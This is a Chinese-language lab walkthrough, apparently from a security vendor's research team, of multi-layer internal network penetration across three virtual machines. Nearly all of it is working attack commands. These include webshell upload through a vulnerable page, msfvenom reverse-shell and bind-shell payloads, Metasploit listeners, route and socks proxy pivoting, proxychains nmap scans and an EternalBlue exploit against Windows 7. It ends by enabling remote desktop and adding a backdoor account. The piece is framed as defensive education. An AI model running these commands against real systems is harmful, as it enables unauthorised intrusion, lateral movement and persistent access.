原创:锦行科技安全平台部zy
近年来,攻击者潜伏在企业内网进行攻击的安全事件屡见不鲜,攻击者在经常会企业的内网进行横向渗透,令防守方防不胜防。因此,我们应该严格控制好网络区域之间的访问规则,加大攻击横向渗透的阻力。本文由锦行科技的安全研究团队提供,旨在通过实验演示进一步了解攻击者是如何在多层内网进行的渗透。
一、实验简介
网络拓扑图
渗透机:win10+kali
第一层靶机 (外网web服务器): Linux
第二场靶机 (内网web服务器): Linux
第三层靶机 (内网办公机) : win7
用三层网络来模拟内外网环境,主要了解MSF、内网转发等
二、环境搭建
1、第一层网络
把渗透机kali和win10网卡1设置选择VMnet1:
靶机Linux网卡1设置选择VMnet1,添加网卡2 设置选择VMnet2:
2、第二层网络
将第二台靶机linux网卡1设置选择VMnet2,添加网卡2 设置选择VMnet3:
3、第三层网络
将靶机win7网卡1设置选择VMnet3:
再配置好各台机器对应IP即可
4、在第一台linux和第二台linux上搭建一个php上传页面,设为存在文件上传漏洞的web页面,以便后续的拿shell进行内网渗透
第一台linux
第二台linux
三、实验过程
① 第一层靶机
Win10访问http://192.168.85.131/ 直接上传一句话木马
蚁剑连接
进一步做内网渗透,上传msf后门
打开kali msfconsole 输入
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.85.128 LPORT=4444 -f elf > mshell.elf
生成一个名为mshell.elf的msf后门文件
蚁剑把后门文件上传到linux靶机
返回msf 开启监听
use exploit/multi/handler 使用监听模块
set payload linux/x64/meterpreter/reverse_tcp 使用和木马相同的payload
set lhost 192.168.85.128 kaili 的ip
set lport 4444 木马的端口
run 执行
蚁剑打开虚拟终端cd到后门文件的目录下,执行后门文件,输入
chmod 777 mshell.elf 加执行权限
./mshell.elf 执行文件
Kail接受到MSF会话
输入ifconfig,发现第二层172.10.10.0/24网段
添加路由
background 将会话转到后台
route add 172.10.10.0/24 1 添加 172.10.10.0/24网段 使用session1
route print 查看路由表
使用MSF建立socks代理
use auxiliary/server/socks4a
set srvhost 192.168.85.128
set srvport 10080
run
配置socks4代理的相关客户端Proxychains
在配置文件/etc/proxychains.conf中添加 :socks4 192.168.85.128 10080
vi /etc/proxychains.conf
添加 socks4 192.168.85.128 10080
这样利用proxychains 启动的应用都可以带sock4代理,proxychains 为kali自带的,非MSF里的
建立好代理后渗透机可以通过这台linux当跳板机进入第二层网络
② 第二层网络
nmap探测存在web服务的主机
用proxychans 启动nmap对第二层网段进行80端口扫描,执行
proxychains nmap -sT -Pn -p 80 172.10.10.0/24
扫描发现55和56存在web服务,172.10.10.56 即为第二层网络的ip
由于proxychains无法代理icmp的数据包 所以必须添加-sT -Pn参数,即不检测主机是否存活,直接进行端口tcp扫描
脚本探测存活主机
在本地创建一个名为ping.sh的脚本
脚本内容如下:
#!/bin/bash
ip=”172.10.10.”
echo “ping log:” > ./ping.txt
for i in {1..254}
do
ping -c 1 -w 1 -W 1 $ip$i | grep -q “ttl=” && echo “$ip$i [yes]” >> ./ping.txt || echo “$ip$i [no]” >> ./ping.txt &
done
echo “wait 5s….”
sleep 5
cat ./ping.txt
cat ./ping.txt | wc -l
Kali进入session 1会话,然后upload命令上传刚刚创建的脚本到靶机
upload /root/ping.sh /var/www/hrml/upload
进入shell执行
python -c ‘import pty;pty.spawn(“/bin/bash”)’
创建一个完全交互式shell,后
Chmod 777 ping.sh
./ping.sh
可以看到172.10.10.0/24 网段存活56.57两台
知道存活主机ip后就可以继续进入第二层内网主机
渗透机浏览器配置sock4a代理
通过代理可以访问第二层linux靶机http://172.10.10.56 同样上传一句话php1.php
蚁剑加代理连接
连接 http://172.10.10.56/upload/php1.php
进一步做内网渗透,继续上传msf后门
制作MSF后门
返回kali msf 输入
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4455 -f elf > mshell1.elf
生成 mshell1.elf 后门文件
因为在内网跨网段时无法反向代理连接到渗透的机器,所以这里使用linux/x64/meterpreter/bind_tcp 这个payload进行正向代理连接
蚁剑上传后门
Kali开启监听
蚁剑打开虚拟终端执行后门文件
返回会话
输入ifconfig 发现第三层网络的网段10.10.10.0/24
③ 第三层网络
添加路由
background
route add 10.10.10.0/24 2
route print
进入session 2 上传 脚本 探测存活主机
注意把脚本的ip段修改成该网段再上传
探测到第三层网段的存活ip :10.10.10.101
proxychans 启动nmap对10.10.10.101的1-500端口扫描,执行
proxychains nmap -sT -Pn -p 1-500 10.10.10.101
发现445端口开启
尝试使用ms17-010
use windows/smb/ms17_010_eternalblue
set rhost 10.10.10.101
set payload windows/x64/meterpreter/bind_tcp
set lport 4466
Run ,存在445漏洞
执行成功,返回会话
开启3389远程桌面
run post/windows/manage/enable_rdp 开启远程桌面
run post/windows/manage/enable_rdp USERNAME=zzy PASSWORD=123qwe!@# 添加远程用户
将3389端口转回kali本地5555端口
portfwd add -l 5555 -p 3389 -r 10.10.10.101
Win10远程桌面连接
登陆成功
结束